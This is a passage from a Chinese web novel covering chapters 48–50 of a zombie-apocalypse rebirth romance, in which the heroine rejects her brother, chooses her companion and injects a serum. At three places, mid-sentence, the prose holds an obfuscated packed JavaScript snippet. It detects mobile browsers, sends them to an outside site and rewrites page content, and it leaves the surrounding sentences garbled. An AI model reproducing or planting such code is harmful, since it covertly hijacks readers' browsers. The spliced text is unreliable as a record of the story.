桑寄月攥着他的手,想把他拉起来,但她的力气不够,只能看向江望曦。 江望曦毫无情绪的看着她,但湛蓝色的眸子已经结了冰。 桑寄月说:“哥哥,帮帮我。” 此时被盛星舟甩开的那些身着制服的人也追了上来,呈半包围圈。 江望曦始终没有动作,他用审视的目光看着桑寄月,眼中浮现出失望的神情。 一阵冷风吹过来,桑寄月被吹得身形有些摇晃,脸上仅剩的血色彻底褪去。 江望曦伸出手,攥住了桑寄月的手,将她拉到了自己身边,然后对着为首的小队队长说道:“把他搬到酒店里去。” 立刻就有人上前拖起盛星舟。 桑寄月知道这是江望曦最大的让步了,她好像也没做好因为盛星舟和江望曦闹矛盾的打算。 他能留住一条命就好。 “我们回家。” 桑寄月轻轻的“嗯”了声,她扯着唇角露出一丝弧度:“是该回家了。” “我很高兴,你做出了正确的选择。”江望曦淡淡的说道。 桑寄月听了,偏过头去看着他。 江望曦没有在意,他拉着桑寄月往前,恰巧与被拖着的盛星舟擦身而过。 那一瞬间,盛星舟也不知道哪里来的力气,挣脱开了束缚,执着的抓住了桑寄月的手,双眸通红的看着她,眼睛里全是祈求。 桑寄月忽然就迈不开腿了。 她还在想刚才江望曦的话。 正确的选择,的确是正确的选择。 她似乎一直以来都在遵循着“正确”而做出她认为对她最有利的选择。 可是……她其实并不开心。 反而是和盛星舟“私奔”的这段时间,她过得很开心。 什么是正确,什么又是错误。 不开心是正确,开心是错误吗? 为什么……不能反过来呢? 盛星舟轻轻的摇晃着她的手,和从前一模一样的动作,语气却充满了不安:“阿月……” 真的不能,选择我吗? 桑寄月骤然回神,有一瞬间,她豁然开朗,思考了许久的问题,也有了答案。 “哥哥,我很久以前就和你说过的——”桑寄月将另一只手从江望曦的掌心中抽了出来,她接着道:“我和从前不一样。” 那是她做出第一个“错误”选择的时候,她为了盛星舟,骗走了江望曦的血清,还和他约定了两年后见。 桑寄月说:“我有更想尝试的人生。” “我不和你走了。” 片刻后,江望曦开口:“你明白你在说什么吗?” “嗯。”桑寄月很坚定的点头。 江望曦又半晌都说不出话来。 “你走吧,别管我了。”桑寄月攥着盛星舟的手,想和他返回酒店。 只是没有江望曦的命令,负责他安保的小队并不会放心,他们被枪指着,团团包围,无法前行一步。 江望曦走到桑寄月面前,用温柔的、不解的语气,轻声询问:“为什么突然就不喜欢我了呢?” 他早就察觉到了这一点,只是桑寄月一直没有意识到,他当然也不会去说。 江望曦只能将就一切归咎到盛星舟的身上,然而桑寄月说—— “没有很突然。”她朝着他笑了笑,一派豁达的模样:“我一直没有说,在桑淮死的时候,我看见你了。” 只是一句话,让江望曦淡然的神情,骤然破碎。 48. 放弃 桑寄月恨极了桑淮。 她憎恶桑淮的理由多得数不清,并且在每一阶段都重复累积着。 少时她失去了妈妈,他们父子登堂入室,她的人生也自那之后,陷入了某种怪圈,她无法挣脱,因为那里原本是她的家,她生活的地方。 她始终坚定的认为,该走的应该是桑淮才对。 末世来临,桑寄月在经历林洛清去世一事后,又在殷乔的宽慰之下,决定尝试着和桑淮他们相处,两年的时光,换来的却是背叛,行将就木时,她被桑淮手持丧尸断肢毫不留情的割开手臂。 那时病毒急速蔓延了那具油尽灯枯的身体,死亡的痛苦犹如潮水蔓延,几乎让她窒息。 桑淮杀死了她,后来站起来的也不过是一具行尸走肉罢了。 桑寄月知道那就是她的命运,可是她挣扎着,不甘着,想要摆脱那样艰难的处境。 如果靠近桑淮就会不幸,那她的人生中,可不可以没有桑淮呢? 当她再度有意识时,什么桑淮,什么殷乔,全都离她远去了。 在她身边的只有江望曦。 那个时候,心灵的满足,远远超过了身体上的痛苦。 所以桑寄月可以假装不知道,在他们“出逃”的第一年,来自景城的研究员联系上了江望曦,自那之后,他们不再被追捕,甚至还有更多的精密仪器,出现在了那座废弃的实验室。 代价是她每一次注入药剂后的实验数据,全都被送入了景城的研究院中。 这没关系,她知道江望曦是在为她治疗身体的前提下,为自己谋取最大的利益,她可以理解。 桑寄月什么都知道,但她仍然喜欢从小陪她长到大,甚至在她最艰难的时候,都陪在她身边的哥哥。 他们在一起生活了很长的一段时间,那也是桑寄月有生以来最快乐的时光,她摆脱了桑淮,远离了那个怪圈,身边也只有从未放弃过她的江望曦。 她不善表达,但她最喜欢江望曦。 虽然后来,这一切都被桑淮毁了,至少在那时的桑寄月眼中,是江望曦为了保护她,被桑淮杀害,她侥幸活了下来,代价是她的一只手臂。 浓烈的恨意与沉重的愧疚纠缠着死里逃生的桑寄月。 后来的那三年,桑淮有多意气风发,她就有多槁木死灰。 如果不是因为她,江望曦就不会死。 那时桑寄月还苟延残喘着的理由,早已从为自己报仇,变成了为江望曦报仇。 什么冤冤相报何时了,桑寄月才不信这些,她要桑淮死。 后来桑淮或许是终于不再被命运眷顾了,桑寄月终于杀了他,也杀光了曾经与她朝夕相处两年的队友们。 除了殷乔。 三年前,殷乔与桑淮分手,消失在了他们的视线中。 谁也不知道她去了哪里。 不过桑寄月最后还是看见了殷乔,除了殷乔,还有匆忙赶来的江望曦。 ……那时候,她被桑淮的异能最后一击击中了大脑,头颅与身体近乎四分五裂。 最后一眼,她看见的是江望曦。 她死得很惨,连完整的尸身都没有,唯一值得庆幸的是,当时的确不痛苦。 反而只觉得解脱。 桑寄月想,终于结束了,她只是太累了,所以她要好好的休息,睡个好觉。 然而再睁眼,桑寄月就重回了她十七岁那一年。 被击碎头颅是瞬息之间的事,桑寄月当时几乎没有感受到痛苦,所以重生之初,她的记忆也出现了偏差。 直到看见江望曦的那一刻,死亡的记忆才彻底回拢。 往事不可追,桑寄月总以为她已经放下了,哪怕不再喜欢江望曦,但他对她来说也依旧很重要。 所以她从一开始就没打算和江望曦说,她什么都知道。 只是江望曦在逼她,他一定要一个理由,桑寄月也不介意这样直白的告诉他。 此时他们已经回到了酒店里,客厅中只有他们三人,桑寄月一边给盛星舟处理伤口,一边轻声说:“我可以问你吗?” 江望曦沉默的颔首。 桑寄月缠下最后一圈绷带,站起身来,看着江望曦,问他:“哥哥,为什么要放弃我,是因为实验结束,我已经没有用处了吗?” “没用”。 这两个字惹得躺在沙发上的盛星舟立刻朝着她看过去,记忆中,桑寄月经常提起这两个字。 她平静又疑惑的模样,让他的心脏像是被翻来覆去的碾压了一样,泛着密密麻麻钻心般的疼痛。 盛星舟吃力的爬起来,然后站在了桑寄月的身后。 “小月,我早该向你解释这些。”江望曦闭了闭眼,再睁眼时,他已经完全冷静了下来,对桑寄月说道:“我没有放弃你,我只是做出了对于我们来说,最有利的选择。” 江望曦的身份特殊,他在研究院中的地位举足轻重,关于丧尸病毒的研究,他也是从头跟到尾的。 丧尸病毒曾在三年前小范围的爆发过一次,那时他们的小组就已经开始研究这种病毒了,但血清尚未研制成功,一年后病毒大范围爆发,迎来末世。 又是两年过去,他们的研究终于取得了重大进展,江望曦功不可没。 然而在最关键的时刻,他却做出了他此生唯一一次出格的举动,他带走了尸化的桑寄月,并且不希望她被带到景城。 一年后研究院派出的研究员找到了江望曦,希望他能重返研究小组,过往一切皆可既往不咎,甚至他们愿意将桑寄月完全交给他,只要他实时反馈她的身体数据。 研究员在这里,军方必然也已经找到了他们,江望曦没有别的选择,况且研究院提出的条件,也的确能打动他。 都是要为桑寄月治疗的,只是实时记录实验数据罢了,这不是什么过分的要求,所有的痛苦里,江望曦也都为她承担了一半。 江望曦没有觉得他有哪里做得不对。 至于后来的目的究竟有没有变质,也只有他自己知道了,毕竟这本就是很难去界定的范围。 后来实验取得了惊人的成效,江望曦也到了返回景城进行最后一步实验的时候,那是他的心血,他无法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16246983|178966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 割舍。 只是桑寄月…… 她抗拒人类,抗拒基地,如果她知道真相,只怕会搞砸许多事情,让一切都功亏一篑。 所以江望曦最终决定假死。 等到他拥有更为不可撼动的地位时,他会接桑寄月回家的。 而在那之前,他们都还有一段漫长的路要走。 回到景城后没多久,江望曦便如日中天,他研究出的改造基因的血清广泛运用,无论是丧尸还是异兽都无法再威胁到他们,人类又一次站到了食物链的顶端。 到后来,人类和丧尸都能通过注射这种基因,成为“新人类”。 世间万物皆焕然一新、欣欣向荣。 一切都进行得很顺利,唯一不顺利的,就是江望曦找不到桑寄月了,谁也不知道她去了哪里,再看见桑寄月的时候,她已死去。 江望曦用温柔的目光注视着桑寄月,轻声说道:“小月,上辈子只差一点,我们就能在一起了,这辈子我已经提前做到了,我们之间不会再有阻碍,我不会再离开你,我会永远保护你。” 江望曦轻描淡写的将一切都归咎到“差一点”,桑寄月自然不会去据理力争、歇斯底里。 早在她刚重生,睡在江望曦的卧室里的那几天,她该歇斯底里的哭泣也都哭过了。 那时候她甚至忘记了她的死亡,只记得在意识消散的最后一眼,她看见的仍是江望曦。 两次都是他。 第一次是新生,第二次是死亡。 在哭了好几天之后,桑寄月在问过“妈妈”的意见后,她擦干净眼泪,做出了不再喜欢江望曦的决定。 这些都没有必要再提。 “我们之间从来没有阻碍。”桑寄月慢慢的开口:“只是你放弃了我,而我也不再喜欢你了。” “我说了,我没有——” 桑寄月轻声反问:“那你为什么这么久以来,从来不敢和我提起,其实你当初只是假死呢?” 两年前江望曦都不敢说。 两年后他也是被她逼得没有办法了,才不得不说。 “哥哥,我并没有指责你。”桑寄月平静的开口:“你没有做错,我当时的确已经失去了价值,你回到景城,继续你的研究和事业,最后功成名就,我也会为你开心——这就是你该走的路。” “至于我……” 桑寄月坚定的说:“我说过,我要选择另一条路了。如果你不想和我成为仇人,那就请你退出我的生活。” 江望曦自以为的冷静,在这一瞬间再度崩塌。 “小月,你变心了。”他沉着声音说:“都是因为——” 桑寄月冷漠的看着江望曦,她清澈漆黑的眸子里,清楚的倒映出他此刻,究竟有多么失态。 江望曦一瞬间失去了所有声音。 他明白,这一切其实和盛星舟没什么关系,哪怕一切都没有改变,他和桑寄月也会走到今天这一步。 只不过是因为盛星舟,让这一切都提前了而已。 他缺席的那三年,再多的理由与借口,都无法弥补。 49. 答案 空荡荡的客厅里,只剩下了盛星舟一个人,哪怕他此时因为失血过多,大脑不断传来晕眩的感觉,他也有些焦躁不安的来回踱步,目光死死地盯着那扇隔开了他与桑寄月的门。 就在方才,盛星舟以为一切都尘埃落定,桑寄月放弃了江望曦选择了他的时候,她却忽然提出要和江望曦单独聊聊。 盛星舟很害怕这中间出什么变故,比如桑寄月又改变主意了,比如江望曦仍然巧言令色的哄骗桑寄月。 门内孱弱纤细的女孩,在他们的这段感情中,拥有绝对的主导地位。 哪怕盛星舟短暂的拥有了在她身边的权利,如果她想,她也能随时收回。 再选择我一次吧,阿月。 盛星舟默默的祈求着。 …… 关于不再喜欢江望曦的这件事,是经过深思熟虑的;而选择去尝试另一条路,桑寄月在与盛星舟“私奔”的这段时间,也思索了许久。 在跟随着江望曦离开的那一刻,是盛星舟通红的眼眸打动了她。 有冲动,也有深思熟虑,但她也的确想尝试,与上辈子截然不同的路。 她会向命运宣战。 因为盛星舟与江望曦不能共存,那么桑寄月也不会再与江望曦纠缠。 毕竟这样对他们三个人来说也都不好。 之所以要与江望曦单独聊聊,是因为桑寄月有一件困惑许久的事情,难以想通,她迎着江望曦柔和的目光,有些失落的说道:“哥哥,我看不到‘妈妈’了,我很想她,你可以帮我见到她吗?” 听见桑寄月的话,江望曦明显愣了一下。 关于桑寄月会幻视的这件事,发生在数十年前她七岁时,她的母亲桑女士去世的那段时间。 因为做出过于出格的举动,被送往精神病院疗养的桑寄月夜不能寐,那时江望曦并不在燕城,等他赶到医院的时候,年幼的桑寄月已经在那里待了一段时间。 数不清的心理疏导让她认知错乱,她看见的温柔美丽的妈妈,也变成了被撞歪了脑袋满脸是血的鬼影,张牙舞爪的,要将她拖进黑暗的深渊。 江望曦在病房里狭小的衣柜找到了缩成一团的桑寄月, 她哭着和他说:“哥哥,有鬼,我想躲起来,可是不管我躲到哪里,我都能看见她……” 桑寄月指着他的身后,声音惊恐。 江望曦谨记医生的教诲,既然桑寄月在将她的幻觉当成‘妈妈’的情况下情绪最平和,一时之间也无法根治的话,不如让她将她的幻觉当成她的‘妈妈’。 就这样,‘妈妈’陪了桑寄月很多年。 江望曦也陪了桑寄月很多年。 现在‘妈妈’不见了,但江望曦还在,他一定能帮她找到‘妈妈’的。 ……桑寄月的确不一样了。 这辈子或许是因为远离了那个怪圈,她的心理压力逐渐减少,所以她也很久都没有犯病。 可是上辈子末世后他们在一起四年时间,那四年没有外人,可桑寄月仍会时不时的见到‘妈妈’啊。 怎么这次就不一样了呢。 江望曦必须得正视一件事,或许从某个方面来说,他为桑寄月带来的压力,和桑淮没有什么差别。 桑寄月曾安静而沉默的承受了许多残酷的现实与真相。 半晌,江望曦温和的对她说:“小月,你已经痊愈了,你现在很好,不需要再见到‘妈妈’。” “我也觉得我的状态很好。”桑寄月露出一丝笑容:“大多数时候都很轻松。” 不开心的时候骂两句盛星舟也就开心了,他还会毫不介怀的哄她。 她接着说:“可是,我还是想见一见‘妈妈’,我想和她道别。” 和‘妈妈’道别,也和她的过去道别。 江望曦明白她未尽的话语。 她道别的也不仅仅是那些,还有他。 他勉强笑了笑:“好,我帮你。” 江望曦觉醒了精神系异能,的确是能够帮到桑寄月的。 在异能的作用下,桑寄月的视线由清晰变模糊,最后再聚焦时,她又看见了沉默而安静的站在她不远处的身影。 隔了数不清的岁月,桑寄月终于看清了‘妈妈’的脸。 那个在无数个漆黑而孤寂的夜晚陪伴着她,在她彷徨迷茫的时候温柔的给她出主意,永远坚定不移的选择她并且绝对不会放弃她的‘妈妈’,长着和她一模一样的脸。 桑女士已经去世了太长时间,那时候桑寄月才七岁,岁月流逝,时光更迭,桑寄月早已记不清记忆中的面容。 她以为的‘妈妈’,其实一直都是她自己。 她永远都不会放弃自己。 只不过现在,她似乎不再需要‘她’了。 因为她在痊愈,她在与过去告别。 ‘她’看着她,露出记忆中温柔的笑容,朝着她摆了摆手,似乎是在说再见。 ‘她’不会真正的消失,只是化作了更为坚定不移的力量陪伴着她。 那道身影消失的那一瞬,桑寄月恍惚间有一种如获新生的错觉。 再崭新的活一次吧。 桑寄月这样想。 “小月,永远都不要再活在过去里了。”江望曦垂眸,轻声对她说。 哪怕他也在桑寄月的过去中。 但她应该走向未来。 了却一桩心事,桑寄月的眼睛很亮,她重重的点了点头:“我会的,哥哥。” 他面上的笑容真切了许多。 桑寄月又说:“哥哥,虽然我不再喜欢你,但你仍是我最重要的人。” “虽然我很想和你做真正的兄妹,但你应该不太愿意,所以还是算了,我们就像现在这样已经很好啦。” 她说着话,面上露出一丝促狭,多了几分罕见的活泼灵动。 江望曦几乎没有看见过她露出这样的神情,除了她七岁以前,便是现在了。 他回答:“小月,我们可以是没有血缘的亲人,就像过去的很多年那样,未来也会如此。” 无论感情还能不能再变质,他们永远都是彼此无法割舍的一部分。 …… 江望曦没有多做停留,在入夜之前,他就离开了,匆忙的来,匆忙的走。 他的确非常忙碌,如果不是刻意,他是没有那么多的时间去和桑寄月相处的。 在离开前,他送给了桑寄月两支药剂,一支是提纯出的丧尸病毒,一支是在丧尸病毒的基础上加快基因进化的血清。 是自然进化,还是借助血清改造成和上辈子一样的身体,桑寄月可以自己选。 桑寄月将这两支血清收起来,站在进入阳台的玻璃门前,看着那道熟悉的身影消失在漫天风雪之间。 盛星舟终于忍不住问:“所以你们刚才那句话是什么意思?” 送江望曦离开的时候,桑寄月问起了他们重生的事,询问是不是因为江望曦,但被江望曦否认了。 “不是我。”他毫无隐瞒的回答她:“我也在思考这是为什么。” 桑寄月却一副恍然大悟的模样:“其实很好猜,不是你的话,就只能是……” 江望曦明白,但他们谁也没有说出最后的那个名字,一切尽在不言中。 他们是不言了,但盛星舟是真的不明白,说话说一半,剩他一个人搞不清楚状况,好像显得他很笨一样。 桑寄月却并不打算告诉盛星舟,她慢悠悠的在沙发边坐下,说道:“这是个不能泄露的秘密,或许有朝一日你会知道,但我希望永远不会有那么一天。” 盛星舟:“听不懂。” 桑寄月一脸的高深莫测,就是不说。 盛星舟今天受了伤,但也休息了几个小时,此时精神还算不错,赖在桑寄月的身边,拽了拽她的手臂:“告诉我吧,月姐,我真的想知道。” 他不知道的事可太多了。 桑寄月轻哼了一声。 “好吧,我不问这个。”盛星舟看她油盐不进的模样,很快放弃,然后说:“但是你不回答我这个问题,下一个问题你一定要回答我,总不能什么都不说。” 桑寄月倒是有些惊奇的说:“你的下一个问题重要到这种地步吗?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260059|178966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当然啦。” “那我会回答你。” “这可是你说的。”盛星舟眼睛一亮,立刻说道:“刚才你们在房间里干什么了,江望曦是不是不要脸的问你要离别的拥抱?” 桑寄月:“……” 什么玩意。 盛星舟看她不吭声,越发警觉:“还是问你要离别的亲亲了?或者说随时欢迎你把我踹了去找他?太不要脸了。” “你不要这么说我哥哥。”桑寄月皱起了眉头,不悦的说道:“不要脸的是你。” “他什么都没说吗?” “这种不要脸的话只有你会说。” 盛星舟眨了下眼,笑着问她:“不要脸的动作也只有我能做吗?” “我让哥哥帮了我一个小忙,和我的从前有关,别的也没什么了。”桑寄月抱着靠枕往旁边挪了挪,离他远了一些。 盛星舟这下也不关心这个小忙是什么了,他往桑寄月旁边凑了凑,低垂着眉眼看着偏过头去的桑寄月,想要离她更近。 桑寄月不自在的伸手去推他,还没碰到,他就痛呼了一声:“好疼,你碰到我的伤口了。” 桑寄月的动作随之顿住,她似乎有些纳闷。 安静下来的那一瞬间,盛星舟两手抵着沙发靠背,将她圈在了他与沙发中。 桑寄月紧张的扣紧了手指,清晰的感受到唇角传来一丝潮湿的温热。 他不但亲了她,还舔了她一下。 这一认知让桑寄月当场炸毛,她正要说话,似乎有更为柔软的触感传进舌尖。 桑寄月一瞬之间涨红了脸,恶狠狠的咬了他一口。 盛星舟老老实实的坐了回去,委屈的看着她。 桑寄月本来是想骂的,但舌尖像是烧着了一样,她跑到卫生间去漱了口,那柔软的触感都还残留在口腔内。 出来的时候,盛星舟幽幽的盯着她。 他一天刷三次牙,为的就是这一刻,但还是被嫌弃了。 盛星舟说:“月姐,你这样会让我很没面子。” “我们不能做点别的吗?”桑寄月轻声嘀咕了一声:“我不习惯。” 桑寄月更喜欢心灵与灵魂的契合。 色胆包天的盛星舟竟然如此俗不可耐,只想和她贴贴。 “做什么?”盛星舟朝着她招了招手:“你过来说。” 桑寄月又跑到他旁边坐下,被他攥住了冰凉的手,裹在他温热的掌心中轻轻揉捏。她往旁挪了挪,离身旁的热源近了一些,然后说:“比如你可以继续问我问题,我可能会回答你的。” “可我现在没有想问的。” “你可以问我,为什么还会选择你。” 盛星舟从善如流:“为什么选择我?是因为超级喜欢我吗?” 很显然,他更在意的是后一个问题的答案,但桑寄月不是。 她似乎仍想倾诉。 “于我来说重要的人并不多,妈妈是,哥哥是,乔乔也是。” 桑寄月可以坚定不移并且永不放弃的选择他们,可他们却不能同样回馈给她相同的感情。 桑女士不顾她的哭闹选择了再婚。 虽然这无可厚非,桑寄月也只是憎恶妈妈遇人不淑。 江望曦曾短暂的选择过她,却仍为了他的实验,他的理想,放弃了她。 桑寄月也能理解,她没有怨怼。只是觉得伤心。 殷乔……殷乔对她很好,她对所有人都很好,她选择了她,却又不止选择她,她最重要的人还是桑淮。 他们是感情甚笃的恋人。 因为不被坚定选择,桑寄月一直有种认知,她在不断的被抛弃。 只有盛星舟…… “只有你,你还在选择我,并且没有放弃我。”桑寄月攥住了盛星舟的手,问出她最想知道的那个问题:“如果有一天,你可以回到你的世界,你也会像他们一样抛弃我吗?” 不是桑寄月想要问盛星舟问题,而是她有问题要问盛星舟,她将不被选择的失败过去剖给盛星舟看,这是她用作交换答案的砝码。 桑寄月要盛星舟的答案。 50. 注射 或许是因为盛星舟需要深思熟虑才能回答桑寄月,又或许是他自己也不知道答案,但最有可能的,仍是答案显而易见。 不属于这里的人,终究不属于这里。 桑寄月在问过后没有立刻得到答案,便没有再去问过,此后的一段时间,盛星舟也没有特意的去回答她。 他们的生活仍然没什么改变。 临近年底的时候,外面的风雪有所停歇,路面上的积雪融化了些许,已经可以行车,桑寄月便提出要往深入燕城的沦陷区,就和上辈子一样。 只不过这一次她身边的人是盛星舟。 盛星舟和江望曦一样,虽然已经对丧尸病毒免疫,但丧尸仍然会攻击他,对于他来说,沦陷区仍旧是非常危险的。 在桑寄月做出决定后,他们谁也没有对此说过什么,毕竟在桑寄月看来这是理所当然,盛星舟既然一定要和她在一起,那就必须跟随着她的步调走,毕竟对于她来说,尸化后沦陷区是最安全的地方,至于盛星舟安不安全…… 他当然不会比她自己更重要。 盛星舟则是完全无所谓,他的目的一直都是桑寄月,无论她去哪里,他都会追随,哪怕是刀山火海。 是因为喜欢,还是因为他本就是为她而来,这本就是一个无解的命题。 只不过这一次,桑寄月不需要再接受江望曦的治疗,所以最后兜兜转转,她还是回到了静安区的御水湾。 在抵达静安区之前,他们经过青州公墓,桑寄月仍是独自去探望了桑女士,告诉桑女士,她有在认真努力的长大,只是很可惜,就要到此为止了。 “但是妈妈,你不用为我担心。” 桑寄月穿着厚实温暖的白色大衣,戴着毛茸茸的帽子和毛巾,只露出一双黝黑清澈的眼眸,看着那块冰冷的墓碑,碑上黑白照片上的女人年轻美丽,安静而温柔的注视着她。 桑寄月与她对视,接着轻声说道:“可只要我还能站起来,我就绝不会止步于此,无论如何,我都要活。” 一定,一定。 桑寄月如此坚定的告诉她的妈妈。 许久之后,桑寄月转身离开了公墓,附近有几只丧尸游荡,所以盛星舟待在车里,没有出来。 再往里走丧尸只会更多。 接下来的一段时间,盛星舟不得不花费大量的时间,去清理这条路上想要攻击他的丧尸,这样的鏖战下来,他身上又添了许多伤口,在桑寄月旁边委屈的说疼要贴贴的频率也越来越高。 桑寄月有些无奈,但还是纵容他了。 尖锐冷漠的面具褪下后,盛星舟看见了桑寄月温柔纯真的一面,在他负伤时,她会认真的给他包扎好伤口,有的时候还会踮着脚摸摸他的脑袋,对他超级好。 盛星舟很喜欢现在的生活。 在除夕那天,他们抵达了御水湾,桑寄月终于回到了她一开始生活的地方,虽然熟悉的家已经被她一把火烧了,但她还有隔壁邻居的钥匙,他们可以住隔壁。 盛星舟一开始还不知道这是江望曦家,他还以为桑寄月很有钱把隔壁也买下来了,直到他看见桑寄月走进那间明显不像是小女生住的房间时才意识到不对劲。 床头柜上摆放着一张合照,哪怕相框已经落了灰,但也立刻引起了盛星舟的注意,因为那上面有桑寄月和江望曦。 盛星舟盯着照片上少女青涩漂亮的面容,她的神情很冷淡,反而是身后的少年笑得很开心。 桑寄月没什么精神的说:“盛星舟,你在看什么?把房间收拾了,我要休息。” “阿月,这张照片是什么时候的?”盛星舟应了一声,一边收拾卧室,一边问。 桑寄月扫了眼那张照片,好半晌才想起来:“我十四岁的时候。” 江望曦带着她去游乐园玩,只是桑寄月玩不了那些刺激的项目,就图个热闹。 桑寄月记得她那天还是有点开心的,因为很久不见的哥哥来陪她玩了。 “你们那天做什么了?” 桑寄月认真的想了想:“坐了旋转木马和摩天轮,还吃了冰淇淋,拍了很多照片,这是其中一张。” 其余的都在相册簿里,相册簿应该很早就被江望曦拿走了,不在这里。 盛星舟在床上铺上软软的毯子,然后说:“我也想和你去游乐园,然后拍照,我们还没有拍过合照。” “你想现在去游乐园找死我也不介意。” 那种人流聚集的地方,哪怕末世已经两年,恐怕都无可避免的有很多丧尸。 盛星舟顿了顿:“那我们拍照。” 桑寄月不太感兴趣的“哦”了声:“如果你能找到相机的话。” “那我明天就出去找!”盛星舟很自信的说,然后用手背贴了贴她冰凉的额头,感受到温度正常,他才接着说道:“阿月,明天就是第三年了。” 桑寄月比上辈子多活了很长时间。 春天就要到了,万物复苏,她也会变得更好的。 桑寄月的唇色发白,她看了盛星舟一眼,似乎有些恍惚:“是啊,第三年了。” 也是时候了。 桑寄月最近的脸色一直都不太好看,所以盛星舟也没有发觉到不对劲,将卧室收拾干净、并且将原本属于江望曦的痕迹全部清理掉之后,他就去做晚饭了。 这是旧年里的最后一天,除夕仍是盛星舟和桑寄月单独过的。 吃晚饭的时候桑寄月很给盛星舟面子,他做的菜都挨个尝了一口,还吃了小半碗的米饭,让盛星舟很是开心。 饭后,盛星舟去洗碗,桑寄月回了卧室,腹部翻江倒海,她强忍着呕吐的感觉,还是没有忍住,冲进卫生间里将刚吃进去的饭菜都吐了个干净。 盛星舟在外面敲门的时候,桑寄月刚好从卫生间里走出来,她已经整理干净了,只是眼睛还因为刚才的呕吐生理性的泛着红。 “阿月,你又吐了吗?”盛星舟愣了一下,冲上去问她。 和上辈子一样,桑寄月是非常隐忍的人,她很少表露痛苦与脆弱的情绪,至少江望曦就很少发现她的不对劲。 而盛星舟,也不知他是吸取前人教训,还是本就心细,多少也能发现一些不对劲。 比如说现在。 桑寄月没有正面去回答,只是耷拉着眼皮子,没什么精神的吐出一个字:“困。” 盛星舟很快说道:“那我给你暖床。” “不要。”桑寄月坚定的摇头。 也不知道是从什么时候开始,桑寄月开始非常坚定的拒绝盛星舟要和她一起睡的要求。 她觉得习惯是一种很可怕的东西,而没有人会永远陪在她身边,桑寄月不想任由自己更习惯盛星舟存在她的身边。 盛星舟沉默了一下,然后又若无其事的软着声音和她说:“可是今天是除夕,和平常的日子都不一样,我想在新年来临时,一睁眼就能看到你,好不好嘛,阿月。” “不要。”桑寄月仍是如此说,她接着道:“盛星舟,我很累。” 他抿了抿唇,忽然问她:“你打算什么时候注射血清?” 桑寄月不明所以的看着他。 “之前是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260060|178966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在路上,不太方便,你的情况也一直没有好转,现在我们到了你认为安全的地方,阿月,你可以开始“治疗”自己了吗?” “我知道,你每天都很疼,我想你过得舒服一些。” 桑寄月一开始的时候每天还会吃很多药,有止痛的,也有治病的,但这几天已经完全停药了,因为不起作用。 听见盛星舟的话,桑寄月看着他,没有说话。 盛星舟又接着说:“我们明天一起拍张照片吧,我还有话想对你说……然后,你就注射血清吧,我不会把你弄丢,我会很认真的照顾你的。” “好。”桑寄月终于开口。 盛星舟听她同意,他稍稍松了一口气:“那我就在隔壁,你又不舒服的就叫我,我听得见的。” 桑寄月点头,然后说:“盛星舟,记住你的承诺。” 盛星舟重重的点头。 桑寄月面上和缓了一些,她露出温柔的笑容,轻声道:“盛星舟,谢谢你。” “你和我道什么谢,没必要。”盛星舟亲昵的摸了摸她的头发:“热水袋也给你灌好了,可以暖和到天亮。” 桑寄月颔首,见盛星舟往外走,在门关上的那一瞬,她忽然上前,轻轻的抱了他一下。 “明天见。”桑寄月说。 盛星舟眉头微挑,然后俯下身来,直勾勾的盯着她。 桑寄月轻叹了一声,很轻柔的贴了贴他的唇角,第一次落下来一个浅淡冰凉的吻,惹得盛星舟立刻眉开眼笑。 盛星舟紧紧的抱着她,充满依赖的说:“我们明天见。” 半晌,盛星舟离开,屋子里的蜡烛被熄灭,陷入一片黑暗中。 桑寄月还是有些不自在的用手背擦了擦嘴角,然后裹着毯子,坐在飘窗上,看着外面漆黑的夜色发呆。 没过多久,外面传来了轻微响动,是盛星舟出门的响动,大晚上的不休息,也不知他是要去做什么。 桑寄月看他的身影在楼下消失不见,收回目光,她也没什么精力去想盛星舟,靠在飘窗边时,密密麻麻的疼痛传遍四肢百骸,让她面色苍白如纸。 直到疼痛趋近于麻木,桑寄月才摸出了那两支血清,她将其中一支扔到一边,紧紧的捏着手中的那支。 片刻后,桑寄月深吸一口气,左手握着针筒,刺进脖颈间淡青色的血管中,冰冷的液体让她遍体生寒。 桑寄月并不打算和盛星舟拍什么合照,她也不想听盛星舟要和她说什么,他如果想说的话早就说了,现在说,她一点都不想再听。 况且在抵达御水湾后立刻注射血清,也是桑寄月一开始做好的决定,她说过,盛星舟要按照她的步调来,而不是她按照他的步调走。 盛星舟感染尸毒时,桑寄月曾对他说过,不会让他孤独尸化的,她也做到了。 后来她也希望盛星舟能同样如此对待她,可是直到不久前她才发现,她可以在做出选择后义无反顾并且永不放弃,如果盛星舟做不到的话,那她也不需要。 她有自己就够了。 